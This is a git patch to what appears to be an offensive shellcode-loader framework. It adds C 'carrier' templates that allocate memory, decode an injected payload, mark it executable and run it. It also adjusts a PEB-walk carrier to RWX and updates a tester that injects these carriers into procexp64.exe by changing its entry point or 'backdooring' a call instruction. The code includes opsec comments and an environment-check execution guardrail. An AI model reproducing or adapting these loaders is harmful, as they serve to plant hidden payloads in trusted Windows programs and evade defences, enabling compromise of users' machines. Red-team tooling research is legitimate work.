From b4e7711abaffac44acf8e1e5b9c7bde294f72922 Mon Sep 17 00:00:00 2001 From: Dobin Date: Sun, 19 May 2024 11:44:30 +0100 Subject: [PATCH] feature: more and nicer carrier's --- data/source/carrier/alloc_rw_rwx/template.c | 60 +++++++++++++++++ data/source/carrier/alloc_rw_rx/template.c | 60 +++++++++++++++++ data/source/carrier/change_rwx_rx/template.c | 39 +++++++++++ data/source/carrier/iat_reuse/template.c | 68 -------------------- data/source/carrier/peb_walk/template.c | 8 ++- tester.py | 8 +-- 6 files changed, 169 insertions(+), 74 deletions(-) create mode 100644 data/source/carrier/alloc_rw_rwx/template.c create mode 100644 data/source/carrier/alloc_rw_rx/template.c create mode 100644 data/source/carrier/change_rwx_rx/template.c delete mode 100644 data/source/carrier/iat_reuse/template.c diff --git a/data/source/carrier/alloc_rw_rwx/template.c b/data/source/carrier/alloc_rw_rwx/template.c new file mode 100644 index 0000000..31f027c --- /dev/null +++ b/data/source/carrier/alloc_rw_rwx/template.c @@ -0,0 +1,60 @@ +#include + +#include + +char *supermega_payload; + +#define p_RW 0x04 +#define p_RX 0x20 +#define p_RWX 0x40 + +/* iat_reuse + + Standard IAT reuse shellcode + * create new memory region for the payload + * will set it to RWX (safe to run shellcodes, opsec-unsafe) +*/ + +int main() +{ + // Execution Guardrail: Env Check + wchar_t envVarName[] = L"USERPROFILE"; + wchar_t tocheck[] = L"C:\\Users\\hacker"; + WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency! + DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024); + if (result == 0) { + return 6; + } + if (mystrcmp(buffer, tocheck) != 0) { + return 6; + } + + // Allocate 1 + // char *dest = ... + char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, p_RW); + + // Copy (and decode) + // from: supermega_payload[] + // to: dest[] +{{ plugin_decoder }} + + if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RWX, &result) == 0) { + return 7; + } + + // Execute *dest + (*(void(*)())(dest))(); + + return 0; +} + +int mystrcmp(wchar_t* str1, wchar_t* str2) { + int i = 0; + while (str1[i] != L'\0' && str2[i] != L'\0') { + if (str1[i] != str2[i]) { + return 1; + } + i++; + } + return 0; +} diff --git a/data/source/carrier/alloc_rw_rx/template.c b/data/source/carrier/alloc_rw_rx/template.c new file mode 100644 index 0000000..af93c81 --- /dev/null +++ b/data/source/carrier/alloc_rw_rx/template.c @@ -0,0 +1,60 @@ +#include + +#include + +char *supermega_payload; + +#define p_RW 0x04 +#define p_RX 0x20 +#define p_RWX 0x40 + +/* iat_reuse_rx + + Standard IAT reuse shellcode + * create new memory region for the payload + * will set it to RX (may break some shellcodes, opsec-safe) +*/ + +int main() +{ + // Execution Guardrail: Env Check + wchar_t envVarName[] = L"USERPROFILE"; + wchar_t tocheck[] = L"C:\\Users\\hacker"; + WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency! + DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024); + if (result == 0) { + return 6; + } + if (mystrcmp(buffer, tocheck) != 0) { + return 6; + } + + // Allocate 1 + // char *dest = ... + char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, p_RW); + + // Copy (and decode) + // from: supermega_payload[] + // to: dest[] +{{ plugin_decoder }} + + if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) { + return 7; + } + + // Execute *dest + (*(void(*)())(dest))(); + + return 0; +} + +int mystrcmp(wchar_t* str1, wchar_t* str2) { + int i = 0; + while (str1[i] != L'\0' && str2[i] != L'\0') { + if (str1[i] != str2[i]) { + return 1; + } + i++; + } + return 0; +} diff --git a/data/source/carrier/change_rwx_rx/template.c b/data/source/carrier/change_rwx_rx/template.c new file mode 100644 index 0000000..b85bab9 --- /dev/null +++ b/data/source/carrier/change_rwx_rx/template.c @@ -0,0 +1,39 @@ +#include + +#include + +char *supermega_payload; + +#define p_RW 0x04 +#define p_RX 0x20 +#define p_RWX 0x40 + +/* iat_reuse_rwx_rx + + IAT reuse shellcode + * reuse payload location (both in .rdata and .text) + * does (rw/rx) -> rwx -> rx +*/ + +int main() +{ + DWORD result; + char *dest = supermega_payload; + + // Note: RWX if carrier and payload are on the same page (or we cant exec copy..) + // can do only RW otherwise? + if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RWX, &result) == 0) { + return 16; + } + +{{ plugin_decoder }} + + if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) { + return 17; + } + + // Execute *dest + (*(void(*)())(dest))(); + + return 0; +} diff --git a/data/source/carrier/iat_reuse/template.c b/data/source/carrier/iat_reuse/template.c deleted file mode 100644 index 0a89701..0000000 --- a/data/source/carrier/iat_reuse/template.c +++ /dev/null @@ -1,68 +0,0 @@ -#include - -#include - -char *supermega_payload; - -int get_time_raw() { - ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004; - LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324; - ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320; - DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) + - ((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24); - return kernelTime; -} - - -int sleep_ms(DWORD sleeptime) { - DWORD start = get_time_raw(); - while (get_time_raw() - start < sleeptime) {} -} - -int main() -{ - // Execution Guardrail: Env Check - //wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0}; - //wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker" - wchar_t envVarName[] = L"USERPROFILE"; - wchar_t tocheck[] = L"C:\\Users\\hacker"; - WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency! - DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))GetEnvironmentVariableW)(envVarName, buffer, 1024); - if (result == 0) { - return 6; - } - if (mystrcmp(buffer, tocheck) != 0) { - return 6; - } - - // Allocate 1 - // char *dest = ... - char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x04); // rw - - //sleep_ms(10000); - - // Copy (and decode) - // from: supermega_payload[] - // to: dest[] -{{ plugin_decoder }} - - if (VirtualProtect(dest, {{PAYLOAD_LEN}}, 0x20, &result) == 0) { // rx - return 7; - } - - // Execute *dest - (*(void(*)())(dest))(); - - return 0; -} - -int mystrcmp(wchar_t* str1, wchar_t* str2) { - int i = 0; - while (str1[i] != L'\0' && str2[i] != L'\0') { - if (str1[i] != str2[i]) { - return 1; - } - i++; - } - return 0; -} diff --git a/data/source/carrier/peb_walk/template.c b/data/source/carrier/peb_walk/template.c index 4829a3c..4b9e768 100644 --- a/data/source/carrier/peb_walk/template.c +++ b/data/source/carrier/peb_walk/template.c @@ -2,9 +2,12 @@ #include "peb_lookup.h" -//extern char *supermega_payload; char *supermega_payload; +/* peb_walk + Standard shellcode which will resolve IAT by itself with a peb_walk +*/ + int main() { wchar_t kernel32_dll_name[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 }; @@ -107,7 +110,8 @@ int main() _In_ DWORD flNewProtect, _Out_ PDWORD lpflOldProtect)) _GetProcAddress((HMODULE)base, VirtualProtect_str); if (_VirtualProtect == NULL) return 4; - _VirtualProtect(dest, {{PAYLOAD_LEN}}, 0x20, &result); // rx +// _VirtualProtect(dest, {{PAYLOAD_LEN}}, 0x20, &result); // rx + _VirtualProtect(dest, {{PAYLOAD_LEN}}, 0x40, &result); // rwx // Execute *dest (*(void(*)())(dest))(); diff --git a/tester.py b/tester.py index 13cfa91..9eeb4f5 100644 --- a/tester.py +++ b/tester.py @@ -49,7 +49,7 @@ def test_exe_code(): # procexp, iat-reuse, change-entrypoint print("Test EXE 3/4: procexp, iat-reuse, change-entrypoint") - settings.carrier_name = "iat_reuse" + settings.carrier_name = "alloc_rw_rwx" settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint settings.inject_exe_in = PATH_EXES + "procexp64.exe" settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe" @@ -58,7 +58,7 @@ def test_exe_code(): # procexp, iat-reuse, backdoor print("Test EXE 4/4: procexp, iat-reuse, backdoor") - settings.carrier_name = "iat_reuse" + settings.carrier_name = "alloc_rw_rwx" settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr settings.inject_exe_in = PATH_EXES + "procexp64.exe" settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe" @@ -95,7 +95,7 @@ def test_exe_data(): # procexp, iat-reuse, change-entrypoint print("Test EXE 3/4: procexp, iat-reuse, change-entrypoint") - settings.carrier_name = "iat_reuse" + settings.carrier_name = "alloc_rw_rwx" settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint settings.inject_exe_in = PATH_EXES + "procexp64.exe" settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe" @@ -104,7 +104,7 @@ def test_exe_data(): # procexp, iat-reuse, backdoor print("Test EXE 4/4: procexp, iat-reuse, backdoor") - settings.carrier_name = "iat_reuse" + settings.carrier_name = "alloc_rw_rwx" settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr settings.inject_exe_in = PATH_EXES + "procexp64.exe" settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe"